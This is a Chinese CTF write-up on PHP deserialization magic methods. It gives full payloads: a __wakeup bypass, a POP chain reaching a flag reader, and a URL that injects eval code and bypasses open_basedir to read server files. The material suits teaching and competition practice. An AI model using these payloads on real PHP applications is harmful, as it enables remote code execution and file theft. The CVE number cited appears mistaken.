php反序列化魔术方法的利用

前言:

开学的第一周,打了第五空间的比赛,又一次遇到了php反序列化的题目于是打算好好总结一波。

php中序列化和反序列化常见的魔术方法:

1
2
3
4
5
6
7
8
9
10
11
/**
* __construct()//创建对象时触发
* __destruct() //对象被销毁时触发
* __call() //在对象上下文中调用不可访问的方法时触发
* __callStatic() //在静态上下文中调用不可访问的方法时触发
* __get() //用于从不可访问的属性读取数据
* __set() //用于将数据写入不可访问的属性
* __isset() //在不可访问的属性上调用isset()或empty()触发
* __unset() //在不可访问的属性上使用unset()时触发
* __invoke() //当脚本尝试将对象调用为函数时触发
*/

通过借助官网的例子进一步加深理解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
class Ljie{

// 被重载的数据
private $data=array();
// 重载不能用在已经被定义的属性
public $declared=1;
// 只有从类的外部访问这个属性时,重载才会发生
private $hidden=2;

// __set是给不可访问属性赋值时会被调用
public function __set($name, $value)
{
// TODO: Implement __set() method.
echo "Setting '$name' to '$value'\n";
$this->data[$name]=$value;
}

// __get是读取不可访问的属性时会被调用
public function __get($name)
{
// TODO: Implement __get() method.
echo "Getting '$name'\n";
if(array_key_exists($name,$this->data)){
return $this->data[$name];
}
$trace=debug_backtrace();
trigger_error(
'Undefined property via __get(): ' . $name .
' in ' . $trace[0]['file'] .
' on line ' . $trace[0]['line'],
E_USER_NOTICE
);
return null;
}

// 当对不可访问的属性调用isset()或者empty()时__isset()会被调用
public function __isset($name)
{
// TODO: Implement __isset() method.
echo "Is '$name' set?\n";
return isset($this->data[$name]);
}

// 当对不可访问的属性调用unset()时__unset()会被调用
public function __unset($name)
{
// TODO: Implement __unset() method.
echo "Unsetting '$name'\n";
unset($this->data[$name]);
}

public function getHidden(){
return $this->hidden;
}
}

通过上面的类创建一个实例,并对他没有的元素进行赋值,触发set方法,通过访问定义的不可访问的元素触发get方法,相应的触发其他的方法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
echo "<pre>\n";
$obj=new Ljie;
// 触发__set(),(key,value)<-->(a,1)
$obj->a=1;
// 触发__get(),(key,value)<-->(a,1)
echo $obj->a."\n\n";
// 触发__isset()
var_dump(isset($obj->a));
// 触发__unset()
unset($obj->a);
var_dump(isset($obj->a));
echo "\n";
echo $obj->declared . "\n\n";
echo "Let's experiment with the private property named 'hidden':\n";
echo "Privates are visible inside the class, so __get() not used...\n";
echo $obj->getHidden() . "\n";
echo "Privates not visible outside of class, so __get() is used...\n";
// 会触发__get()函数,但是会发出警告
echo $obj->hidden . "\n";

相应的结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Setting 'a' to '1'
Getting 'a'
1

Is 'a' set?
bool(true)
Unsetting 'a'
Is 'a' set?
bool(false)

1

Let's experiment with the private property named 'hidden':
Privates are visible inside the class, so __get() not used...
2
Privates not visible outside of class, so __get() is used...
Getting 'hidden'

Notice: Undefined property via __get(): hidden in

call方法和callStatic方法的调用例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class LjieTest{
public function __call($name, $arguments)
{
// TODO: Implement __call() method.
echo $name."\n";
echo "Calling object method '$name'".implode(',',$arguments)."\n";
}

// php 5.0.3之后的版本
public static function __callStatic($name, $arguments)
{
// TODO: Implement __callStatic() method.
echo "Calling static method '$name'".implode(',',$arguments)."\n";
}
}
$obj=new LjieTest;
$obj->runTest('Ljie');
LjieTest::runTest('Ljie');

运行的结果如下:

1
2
3
runTest
Calling object method 'runTest'Ljie
Calling static method 'runTest'Ljie

可以自己编写一个例子来实现2333:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Lyu{
public $name=array('isTrue'=>1);

function __get($name)
{
// TODO: Implement __get() method.
return $this->name[$name];
}

function __call($name, $arguments)
{
// TODO: Implement __call() method.
if($this->{$name}){
print_r($name."Lyu2333");
}
}
}
$lyu=new Lyu();
$varname='isTrue';
$lyu->$varname;
$lyu->$varname();

可以看到get方法和call方法成功调用:

1
isTrueLyu2333

php的序列化和反序列化之sleep()和wakeup():

1
2
3
4
5
6
7
8
9
/**
* __sleep():
* serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在该方法会被先调用,
* 然后才执行序列化操作。此功能可以用来清理对象,并返回一个包含对象中所用应被序列化的变量名称的数组,
* 如果没有返回类容,则NULL被序列化
* __wakeup():
* unserialize()会检查是否存在一个__wakeup()方法。如果存在,则会先调用__wakeup方法
* 预先准备资源
*/

编写测试的类和方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
class LjieLyu{
public $name;
public $age;
public $sex;
public $info;

public function __construct($name,$age,$sex)
{
$this->name=$name;
$this->age=$age;
$this->sex=$sex;
$this->info=sprintf("name: %s, age: %d, sex: %s", $this->name, $this->age, $this->sex);
}

public function getInfo(){
echo $this->info."<br>";
}

// serialize前调用 用于删选需要被序列化存储的成员变量
public function __sleep()
{
// TODO: Implement __sleep() method.
echo __METHOD__.'<br>';
return ['name','age','sex'];
}

// unserialize前调用 用于预先准备对象资源
public function __wakeup()
{
// TODO: Implement __wakeup() method.
echo __METHOD__.'<br>';
$this->info=sprintf("name: %s, age: %d, sex: %s", $this->name, $this->age, $this->sex);
}

public function __toString()
{
// TODO: Implement __toString() method.
return $this->info;
}
}
$lyu=new LjieLyu('Lyu',20,'fmale');
$lyu->getInfo();
$temp=serialize($lyu);
echo $temp.'<br>';
$lyu=unserialize($temp);
$lyu->getInfo();
echo '__toString:'.$lyu.'<br>';

测试的结果如下:

1
2
3
4
5
6
name: Lyu, age: 20, sex: fmale
LjieLyu::__sleep
O:7:"LjieLyu":3:{s:4:"name";s:3:"Lyu";s:3:"age";i:20;s:3:"sex";s:5:"fmale";}
LjieLyu::__wakeup
name: Lyu, age: 20, sex: fmale
__toString:name: Lyu, age: 20, sex: fmale

通过反序列化读取敏感文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
class LyuLjie{
protected $file='magllc.php';

function __destruct()
{
// TODO: Implement __destruct() method.
if(!empty($this->file)){
if(strchr($this->file,"\\")===false&&strchr($this->file,'/')===false){
show_source(dirname(__FILE__).'/'.$this->file);
}else{
die('Wrong filename');
}
}
}

// __wakeup()会在反序列化之前运行
function __wakeup()
{
// TODO: Implement __wakeup() method.
$this->file='magllc.php';
}

public function __toString()
{
// TODO: Implement __toString() method.
return '';
}
}
if(!isset($_GET['file'])){
show_source('magllc.php');
}else{
$file=base64_decode($_GET['file']);
echo unserialize($file);
}

分析如下:

1: destruct方法中的show_source()会读取file文件内容,我们可以利用来读取flag.php文件,同时可以用CVE-2017-7124漏洞,当序列化字符串中表示对象属性个数的值大于真实的个数会跳个wakeup的执行来绕过。
2: 构造序列化对象: O:5:”SoFun”:1:{S:7:”\00*\00file”;s:8:”flag.php”;}
3: 绕过__wakeup: O:5:”SoFun”:2:{S:7:”\00*\00file”;s:8:”flag.php”;}
4: 注意:因为file是protect属性,所以需要加上\00*\00。再base64编码。

payload:

1
Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==

实战训练pop链的利用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$a = $_GET['string'];
unserialize($a);
?>

可以看到需要执行GetFlag类中的get_flag()函数,这是一个类的普通方法。要让这个方法执行,需要构造一个POP链。

1: string1中的tostring存在$this->str1->get_flag(),分析一下要自动调用tostring()需要把类string1当成字符串来使用,因为调用的是参数str1的方法,所以需要把str1赋值为类GetFlag的对象。
2: 发现类func中存在invoke方法执行了字符串拼接,需要把func当成函数使用自动调用invoke然后把$mod1赋值为string1的对象与$mod2拼接。
3: 在funct中找到了函数调用,需要把mod1赋值为func类的对象,又因为函数调用在__call方法中,且参数为$test2,即无法调用test2方法时自动调用 __call方法;
4: 在Call中的test1方法中存在$this->mod1->test2();,需要把$mod1赋值为funct的对象,让__call自动调用。
5: 查找test1方法的调用点,在start_gg中发现$this->mod1->test1();,把$mod1赋值为start_gg类的对象,等待__destruct()自动调用。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new Call();//把$mod1赋值为Call类对象
}
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new funct();//把 $mod1赋值为funct类对象
}
public function test1()
{
$this->mod1->test2();
}
}

class funct
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new func();//把 $mod1赋值为func类对象

}
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new string1();//把 $mod1赋值为string1类对象

}
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public function __construct()
{
$this->str1= new GetFlag();//把 $str1赋值为GetFlag类对象
}
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$b = new start_gg;//构造start_gg类对象$b
echo urlencode(serialize($b))."<br />";//显示输出url编码后的序列化对象

然后得到flag。

第五空间的一道php反序列化题目:

通过index.phps文件泄露拿到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

// flag.php in /var/html/www

error_reporting(0);
class Test{
protected $careful;
public $securuty;
public function __wakeup(){
if($this->careful===1){
phpinfo(); // step 1: read source,get phpinfo and read it carefullt
}
}
public function __get($name){
return $this->securuty[$name];
}
public function __call($param1,$param2){
if($this->{$param1}){
eval('$a='.$_GET['dangerous'].';');
}
}
}
class User{
public $user;
public function __wakeup(){
$this->user=new Welcome();
$this->user->say_hello();
}
}

$a=serialize(new User);
$string=$_GET['foo']??$a;
unserialize($string);

$str=new Test();
$str->securuty=1;
$str->show('securuty','liangjie')

?>

首先我们先构造反序列化触发__wakeup方法得到第一层:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class Test{
protected $careful=1;
public $securuty='liangjie';
public function __wakeup(){
if($this->careful===1){
phpinfo(); // step 1: read source,get phpinfo and read it carefullt
}
}
public function __get($name){
return $this->securuty[$name];
}
public function __call($param1,$param2){
if($this->{$param1}){
eval('$a='.$_GET['dangerous'].';');
}
}
}

$str=new Test();
echo urlencode(serialize($str));

题目告诉我们step 1: read source,get phpinfo and read it carefullt那么phpinfo()必然有东西,不然没有Welcome类没有办法调用say_hello()方法从而利用__call魔术方法

看到phpinfo()中有opcapache.preload他是定义预加载文件的,是php7.4提出的新特性,拿到 tis_is_a_preload.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Welcome{
public function say_hello(){
echo "welcome<br>";
}
}
class Welcome_again{
public $willing;
public $action;
public function __construct(){
$this->action=new Welcome;
}
public function __destruct(){
if($this->willing){
$this->action->say_hello();
}
}
}
highlight_file(__FILE__)
?>

构造最终的pop链反序列化触发__call()魔法方法执行eval():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class Test
{
public $securuty = array('say_hello'=>'123');
}

class User{
public $user;
}


class Welcome_again{
public $willing;
public $action;
}

$a = new Welcome_again();
$a->willing = 1;
$a->action = new Test();
echo urlencode(serialize($a));

用下面的payload进行访问:

1
index.php?foo=O%3A13%3A"Welcome_again"%3A2%3A%7Bs%3A7%3A"willing"%3Bi%3A1%3Bs%3A6% 3A"action"%3BO%3A4%3A"Test"%3A1%3A%7Bs%3A8%3A"securuty"%3Ba%3A1%3A%7Bs%3A9%3A"say_hello"%3Bs%3A3%3A"123"%3B%7D%7D%7D&dangerous=1;echo%20readfile(%27/var/html/www/flag.php%27);

但是没有读取到文件,猜测是open_basedir()限制了,可以用下列的方式绕过:

1
2
3
4
5
6
7
8
9
10
ini_set('open_basedir','/tmp');
mkdir('sub');
chdir('sub');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(scandir('/'));

最终的payload:

1
/index.php?foo=O%3A13%3A%22Welcome_again%22%3A2%3A%7Bs%3A7%3A%22willing%22%3Bi%3A1%3Bs%3A6%3A%22action%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A8%3A%22securuty%22%3Ba%3A1%3A%7Bs%3A9%3A%22say_hello%22%3Bs%3A3%3A%22123%22%3B%7D%7D%7D&dangerous=1;echo%201;ini_set('open_basedir','/tmp');mkdir('sub');chdir('sub');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/var/www/flag.php'));

成功拿到flag的地址:

1
./flagishere/e0822e0eb424e4bde0d757c164f302fb.php